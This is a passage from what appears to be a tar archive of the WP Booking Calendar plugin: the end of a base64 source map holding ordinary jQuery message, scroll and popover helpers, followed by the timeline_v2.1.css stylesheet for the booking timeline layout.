lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX19lcnJvcl9hYm92ZV9lbGVtZW50KCBqcV9ub2RlLCBtZXNzYWdlLCBtZXNzYWdlX2RlbGF5ICl7XHJcblxyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIChtZXNzYWdlX2RlbGF5KSApe1xyXG5cdFx0XHRtZXNzYWdlX2RlbGF5ID0gMTAwMDBcclxuXHRcdH1cclxuXHJcblx0XHR2YXIgbm90aWNlX21lc3NhZ2VfaWQgPSB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1lc3NhZ2UsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICAgICAgICAgICAgICAgOiAnZXJyb3InLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICAgICAgICAgICAgOiBtZXNzYWdlX2RlbGF5LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2lmX3Zpc2libGVfbm90X3Nob3cnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgICAgICAgICAgOiB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hlcmUnICA6ICdiZWZvcmUnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnOiBqcV9ub2RlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHRyZXR1cm4gbm90aWNlX21lc3NhZ2VfaWQ7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogV2FybmluZyBtZXNzYWdlLiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX193YXJuaW5nKCBqcV9ub2RlLCBtZXNzYWdlICl7XHJcblxyXG5cdFx0dmFyIG5vdGljZV9tZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZShcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRtZXNzYWdlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgICAgICAgICAgICAgIDogJ3dhcm5pbmcnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICAgICAgICAgICAgOiAxMDAwMCxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnICAgICAgICAgIDoge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgOiAncmlnaHQnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnOiBqcV9ub2RlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHR3cGJjX2hpZ2hsaWdodF9lcnJvcl9vbl9mb3JtX2ZpZWxkKCBqcV9ub2RlICk7XHJcblx0XHRyZXR1cm4gbm90aWNlX21lc3NhZ2VfaWQ7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogV2FybmluZyBtZXNzYWdlIFVOREVSIGVsZW1lbnQuIFx0UHJlc2V0IG9mIHBhcmFtZXRlcnMgZm9yIHJlYWwgbWVzc2FnZSBmdW5jdGlvbi5cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBlbFx0XHQtIGFueSBqUXVlcnkgbm9kZSBkZWZpbml0aW9uXHJcblx0ICogQHBhcmFtIG1lc3NhZ2VcdC0gTWVzc2FnZSBIVE1MXHJcblx0ICogQHJldHVybnMgc3RyaW5nICAtIEhUTUwgSURcdFx0b3IgMCBpZiBub3Qgc2hvd2luZyBkdXJpbmcgdGhpcyB0aW1lLlxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2VfX3dhcm5pbmdfdW5kZXJfZWxlbWVudCgganFfbm9kZSwgbWVzc2FnZSApe1xyXG5cclxuXHRcdHZhciBub3RpY2VfbWVzc2FnZV9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0bWVzc2FnZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgICAgICAgICAgICA6ICd3YXJuaW5nJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgICAgICAgICAgIDogMTAwMDAsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaWZfdmlzaWJsZV9ub3Rfc2hvdyc6IHRydWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJyAgICAgICAgICA6IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aGVyZScgIDogJ2FmdGVyJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJzoganFfbm9kZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cdFx0cmV0dXJuIG5vdGljZV9tZXNzYWdlX2lkO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFdhcm5pbmcgbWVzc2FnZSBBQk9WRSBlbGVtZW50LiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX193YXJuaW5nX2Fib3ZlX2VsZW1lbnQoIGpxX25vZGUsIG1lc3NhZ2UgKXtcclxuXHJcblx0XHR2YXIgbm90aWNlX21lc3NhZ2VfaWQgPSB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1lc3NhZ2UsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICAgICAgICAgICAgICAgOiAnd2FybmluZycsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgICAgICAgICAgICA6IDEwMDAwLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2lmX3Zpc2libGVfbm90X3Nob3cnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgICAgICAgICAgOiB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hlcmUnICA6ICdiZWZvcmUnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnOiBqcV9ub2RlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHRyZXR1cm4gbm90aWNlX21lc3NhZ2VfaWQ7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBIaWdobGlnaHQgRXJyb3IgaW4gc3BlY2lmaWMgZmllbGRcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBqcV9ub2RlXHRcdFx0XHRcdHN0cmluZyBvciBqUXVlcnkgZWxlbWVudCwgIHdoZXJlIHNjcm9sbCAgdG9cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2hpZ2hsaWdodF9lcnJvcl9vbl9mb3JtX2ZpZWxkKCBqcV9ub2RlICl7XHJcblxyXG5cdFx0aWYgKCAhalF1ZXJ5KCBqcV9ub2RlICkubGVuZ3RoICl7XHJcblx0XHRcdHJldHVybjtcclxuXHRcdH1cclxuXHRcdGlmICggISBqUXVlcnkoIGpxX25vZGUgKS5pcyggJzppbnB1dCcgKSApe1xyXG5cdFx0XHQvLyBTaXR1YXRpb24gd2l0aCAgY2hlY2tib3hlcyBvciByYWRpbyAgYnV0dG9uc1xyXG5cdFx0XHR2YXIganFfbm9kZV9hcnIgPSBqUXVlcnkoIGpxX25vZGUgKS5maW5kKCAnOmlucHV0JyApO1xyXG5cdFx0XHRpZiAoICFqcV9ub2RlX2Fyci5sZW5ndGggKXtcclxuXHRcdFx0XHRyZXR1cm5cclxuXHRcdFx0fVxyXG5cdFx0XHRqcV9ub2RlID0ganFfbm9kZV9hcnIuZ2V0KCAwICk7XHJcblx0XHR9XHJcblx0XHR2YXIgcGFyYW1zID0ge307XHJcblx0XHRwYXJhbXNbICdkZWxheScgXSA9IDEwMDAwO1xyXG5cclxuXHRcdGlmICggIWpRdWVyeSgganFfbm9kZSApLmhhc0NsYXNzKCAnd3BiY19mb3JtX2ZpZWxkX2Vycm9yJyApICl7XHJcblxyXG5cdFx0XHRqUXVlcnkoIGpxX25vZGUgKS5hZGRDbGFzcyggJ3dwYmNfZm9ybV9maWVsZF9lcnJvcicgKVxyXG5cclxuXHRcdFx0aWYgKCBwYXJzZUludCggcGFyYW1zWyAnZGVsYXknIF0gKSA+IDAgKXtcclxuXHRcdFx0XHR2YXIgY2xvc2VkX3RpbWVyID0gc2V0VGltZW91dCggZnVuY3Rpb24gKCl7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCBqUXVlcnkoIGpxX25vZGUgKS5yZW1vdmVDbGFzcyggJ3dwYmNfZm9ybV9maWVsZF9lcnJvcicgKTtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgLCBwYXJzZUludCggcGFyYW1zWyAnZGVsYXknIF0gKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdH1cclxuXHJcbi8qKlxyXG4gKiBTY3JvbGwgdG8gc3BlY2lmaWMgZWxlbWVudFxyXG4gKlxyXG4gKiBAcGFyYW0ganFfbm9kZVx0XHRcdFx0XHRzdHJpbmcgb3IgalF1ZXJ5IGVsZW1lbnQsICB3aGVyZSBzY3JvbGwgIHRvXHJcbiAqIEBwYXJhbSBleHRyYV9zaGlmdF9vZmZzZXRcdFx0aW50IHNoaWZ0IG9mZnNldCBmcm9tICBqcV9ub2RlXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2RvX3Njcm9sbCgganFfbm9kZSAsIGV4dHJhX3NoaWZ0X29mZnNldCA9IDAgKXtcclxuXHJcblx0aWYgKCAhalF1ZXJ5KCBqcV9ub2RlICkubGVuZ3RoICl7XHJcblx0XHRyZXR1cm47XHJcblx0fVxyXG5cdHZhciB0YXJnZXRPZmZzZXQgPSBqUXVlcnkoIGpxX25vZGUgKS5vZmZzZXQoKS50b3A7XHJcblxyXG5cdGlmICggdGFyZ2V0T2Zmc2V0IDw9IDAgKXtcclxuXHRcdGlmICggMCAhPSBqUXVlcnkoIGpxX25vZGUgKS5uZXh0QWxsKCAnOnZpc2libGUnICkubGVuZ3RoICl7XHJcblx0XHRcdHRhcmdldE9mZnNldCA9IGpRdWVyeSgganFfbm9kZSApLm5leHRBbGwoICc6dmlzaWJsZScgKS5maXJzdCgpLm9mZnNldCgpLnRvcDtcclxuXHRcdH0gZWxzZSBpZiAoIDAgIT0galF1ZXJ5KCBqcV9ub2RlICkucGFyZW50KCkubmV4dEFsbCggJzp2aXNpYmxlJyApLmxlbmd0aCApe1xyXG5cdFx0XHR0YXJnZXRPZmZzZXQgPSBqUXVlcnkoIGpxX25vZGUgKS5wYXJlbnQoKS5uZXh0QWxsKCAnOnZpc2libGUnICkuZmlyc3QoKS5vZmZzZXQoKS50b3A7XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHRpZiAoIGpRdWVyeSggJyN3cGFkbWluYmFyJyApLmxlbmd0aCA+IDAgKXtcclxuXHRcdHRhcmdldE9mZnNldCA9IHRhcmdldE9mZnNldCAtIDUwIC0gNTA7XHJcblx0fSBlbHNlIHtcclxuXHRcdHRhcmdldE9mZnNldCA9IHRhcmdldE9mZnNldCAtIDIwIC0gNTA7XHJcblx0fVxyXG5cdHRhcmdldE9mZnNldCArPSBleHRyYV9zaGlmdF9vZmZzZXQ7XHJcblxyXG5cdC8vIFNjcm9sbCBvbmx5ICBpZiB3ZSBkaWQgbm90IHNjcm9sbCBiZWZvcmVcclxuXHRpZiAoICEgalF1ZXJ5KCAnaHRtbCxib2R5JyApLmlzKCAnOmFuaW1hdGVkJyApICl7XHJcblx0XHRqUXVlcnkoICdodG1sLGJvZHknICkuYW5pbWF0ZSgge3Njcm9sbFRvcDogdGFyZ2V0T2Zmc2V0fSwgNTAwICk7XHJcblx0fVxyXG59XHJcblxyXG4iLCJcclxuLy9GaXhJbjogMTAuMi4wLjRcclxuLyoqXHJcbiAqIERlZmluZSBQb3BvdmVycyBmb3IgVGltZWxpbmVzIGluIFdQIEJvb2tpbmcgQ2FsZW5kYXJcclxuICpcclxuICogQHJldHVybnMge3N0cmluZ3xib29sZWFufVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19kZWZpbmVfdGlwcHlfcG9wb3Zlcigpe1xyXG5cdGlmICggJ2Z1bmN0aW9uJyAhPT0gdHlwZW9mICh3cGJjX3RpcHB5KSApe1xyXG5cdFx0Y29uc29sZS5sb2coICdXUEJDIEVycm9yLiB3cGJjX3RpcHB5IHdhcyBub3QgZGVmaW5lZC4nICk7XHJcblx0XHRyZXR1cm4gZmFsc2U7XHJcblx0fVxyXG5cdHdwYmNfdGlwcHkoICcucG9wb3Zlcl9ib3R0b20ucG9wb3Zlcl9jbGljaycsIHtcclxuXHRcdGNvbnRlbnQoIHJlZmVyZW5jZSApe1xyXG5cdFx0XHR2YXIgcG9wb3Zlcl90aXRsZSA9IHJlZmVyZW5jZS5nZXRBdHRyaWJ1dGUoICdkYXRhLW9yaWdpbmFsLXRpdGxlJyApO1xyXG5cdFx0XHR2YXIgcG9wb3Zlcl9jb250ZW50ID0gcmVmZXJlbmNlLmdldEF0dHJpYnV0ZSggJ2RhdGEtY29udGVudCcgKTtcclxuXHRcdFx0cmV0dXJuICc8ZGl2IGNsYXNzPVwicG9wb3ZlciBwb3BvdmVyX3RpcHB5XCI+J1xyXG5cdFx0XHRcdCsgJzxkaXYgY2xhc3M9XCJwb3BvdmVyLWNsb3NlXCI+PGEgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKVwiIG9uY2xpY2s9XCJqYXZhc2NyaXB0OnRoaXMucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50Ll90aXBweS5oaWRlKCk7XCIgPiZ0aW1lczs8L2E+PC9kaXY+J1xyXG5cdFx0XHRcdCsgcG9wb3Zlcl9jb250ZW50XHJcblx0XHRcdFx0KyAnPC9kaXY+JztcclxuXHRcdH0sXHJcblx0XHRhbGxvd0hUTUwgICAgICAgIDogdHJ1ZSxcclxuXHRcdHRyaWdnZXIgICAgICAgICAgOiAnbWFudWFsJyxcclxuXHRcdGludGVyYWN0aXZlICAgICAgOiB0cnVlLFxyXG5cdFx0aGlkZU9uQ2xpY2sgICAgICA6IGZhbHNlLFxyXG5cdFx0aW50ZXJhY3RpdmVCb3JkZXI6IDEwLFxyXG5cdFx0bWF4V2lkdGggICAgICAgICA6IDU1MCxcclxuXHRcdHRoZW1lICAgICAgICAgICAgOiAnd3BiYy10aXBweS1wb3BvdmVyJyxcclxuXHRcdHBsYWNlbWVudCAgICAgICAgOiAnYm90dG9tLXN0YXJ0JyxcclxuXHRcdHRvdWNoICAgICAgICAgICAgOiBbJ2hvbGQnLCA1MDBdLFxyXG5cdH0gKTtcclxuXHRqUXVlcnkoICcucG9wb3Zlcl9ib3R0b20ucG9wb3Zlcl9jbGljaycgKS5vbiggJ2NsaWNrJywgZnVuY3Rpb24gKCl7XHJcblx0XHRpZiAoIHRoaXMuX3RpcHB5LnN0YXRlLmlzVmlzaWJsZSApe1xyXG5cdFx0XHR0aGlzLl90aXBweS5oaWRlKCk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHR0aGlzLl90aXBweS5zaG93KCk7XHJcblx0XHR9XHJcblx0fSApO1xyXG5cdHdwYmNfZGVmaW5lX2hpZGVfdGlwcHlfb25fc2Nyb2xsKCk7XHJcbn1cclxuXHJcblxyXG5cclxuZnVuY3Rpb24gd3BiY19kZWZpbmVfaGlkZV90aXBweV9vbl9zY3JvbGwoKXtcclxuXHRqUXVlcnkoICcuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24yLC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbnMnICkub24oICdzY3JvbGwnLCBmdW5jdGlvbiAoIGV2ZW50ICl7XHJcblx0XHRpZiAoICdmdW5jdGlvbicgPT09IHR5cGVvZiAod3BiY190aXBweSkgKXtcclxuXHRcdFx0d3BiY190aXBweS5oaWRlQWxsKCk7XHJcblx0XHR9XHJcblx0fSApO1xyXG59XHJcbiJdfQ== timeline_v2.1.css 0000666 00000150434 15165645601 0007656 0 ustar 00 /* T i m e l i n e - C O L O R S K I N ****************************/ /* * For better compatibility, please change here only following properties: * background , background-color, background-repeat, background-image, background-repeat, background-position * border * box-shadow * border-radius * color * font-weight * text-shadow * text-transform * */ :root { --wpbc_timeline-row-height: 35px; --wpbc_timeline-row-header-height: 58px; --wpbc_timeline-booking-pending-color: #ffd86c; --wpbc_timeline-past-booking-pending-color: #fff3d2; --wpbc_timeline-booking-pending-border-color: #e49c2d; --wpbc_timeline-booking-approved-color: #5A71A1; --wpbc_timeline-past-booking-approved-color: #8591aa; --wpbc_timeline-booking-approved-border-color: #4B5E85; } /* ===================================================================================================================== */ /* ===================================================================================================================== */ /* Timeline Main Container */ .flex_tl_table { display: flex; flex-flow: column nowrap; box-sizing: border-box; } /* Timeline: Header, Dates number, all bookings Rows */ .flex_tl_table .flex_tl_table_header, .flex_tl_table .flex_tl_table_titles, .flex_tl_table .flex_tl_table_row_bookings { flex: 1; display: flex; flex-flow: row nowrap; justify-content: space-between; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 { flex:0 1 auto; /*width: 180px;*/ min-width: 0; word-wrap: break-word; display: flex; flex-flow: column nowrap; justify-content: center; } /* Column 2 - dates/bookings */ .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 { flex: 1 1 0; min-width: 0; } /* Make the same align of Dates title as Resource title //FixIn: 9.5.4.6 */ .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{ display: flex; flex-flow: column nowrap; justify-content: center; } /**********************************************************************************************************************/ @media (max-width: 782px) { /* Wrap to New lines */ .flex_tl_table .flex_tl_table_header, .flex_tl_table .flex_tl_table_titles, .flex_tl_table .flex_tl_table_row_bookings { flex-flow: row wrap; } /* Show booking resources in a ROW above the dates */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 { width: 100%; flex: 1 1 auto; } } /**********************************************************************************************************************/ /* Ajax Header Nav */ /**********************************************************************************************************************/ .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav{ display: flex; flex-flow: row nowrap; justify-content: space-between; align-items: baseline; /* //FixIn: 9.5.4.6 */ padding: 7px 0 0; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_title { flex: 1 1 0; word-break: break-word; min-width: 0; } /**********************************************************************************************************************/ /* T i t l e D a t e s B a r - .flex_tl_table_titles */ /**********************************************************************************************************************/ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar { display:flex; flex-flow: row nowrap; justify-content: space-between; } /* Header "Dates number" Cell */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { flex: 1 1 0; min-width: 0; display:flex; flex-flow: column nowrap; justify-content: space-between; } /* "Top Month Line" & "Date Number CELL container" */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container { flex: 1; display: flex; flex-flow: column wrap; justify-content: space-between; overflow: hidden; } /* Day Number & WeekDay - in - Title D a t e s B a r */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { flex: 1; font-size: 0.85em; font-weight: 600; text-align: center; display: flex; flex-flow: column; align-items: center; justify-content: center; } .flex_tl_matrix_resources .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { } .flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { font-size:1em; padding: 0; } .flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { font-size:0.85em; font-weight: 600; } /**********************************************************************************************************************/ /* "Responsive Mode" - in - T i t l e D a t e s B a r */ @media (max-width: 782px) { .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container { /*overflow: hidden;*/ /*padding:0;*/ } /* Show Scroller for Months and 2 Months view modes */ .flex_tl_matrix_resources.flex_frame_view_days_num_1, .flex_tl_matrix_resources.flex_frame_view_days_num_30, .flex_tl_matrix_resources.flex_frame_view_days_num_60, .flex_tl_single_resource.flex_frame_view_days_num_30, .flex_tl_single_resource.flex_frame_view_days_num_365 { /*width: 100%;*/ /*overflow-x: scroll;*/ } .flex_tl_matrix_resources.flex_frame_view_days_num_30 .flex_tl_table, .flex_tl_single_resource.flex_frame_view_days_num_365 .flex_tl_table{ /*min-width: 500px;*/ } .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table, .flex_tl_matrix_resources.flex_frame_view_days_num_60 .flex_tl_table, .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table { /*min-width: 1000px;*/ } } /**********************************************************************************************************************/ /* "Top Month Line" - in - D a t e s B a r */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { height: 1.5em; overflow: hidden; } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month.flex_tl_dates_bar .flex_tl_day_cell { border:none; } /* Header "Month Name" Cell */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month .flex_tl_day_cell .in_cell_month_year { overflow: visible; word-wrap: normal; white-space: nowrap; } /**********************************************************************************************************************/ /* "Time Slots" - in - D a t e s B a r */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day { flex: 1; display: flex; flex-flow: row nowrap; justify-content: space-between; overflow: hidden; } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour { flex: 1 1 0; min-width: 0; } /* Date Number during showing 1 day */ .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container, .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container { flex-flow: row nowrap; align-items: center; } /**********************************************************************************************************************/ /* Dates in First Column during single resource view mode */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container { display: flex; flex-flow: row wrap; justify-content: space-around; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks { flex: 1 1 0; text-align: left; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks{ text-align: right; padding:0 1em; } @media (max-width: 782px) { .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container { justify-content: flex-start; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days, 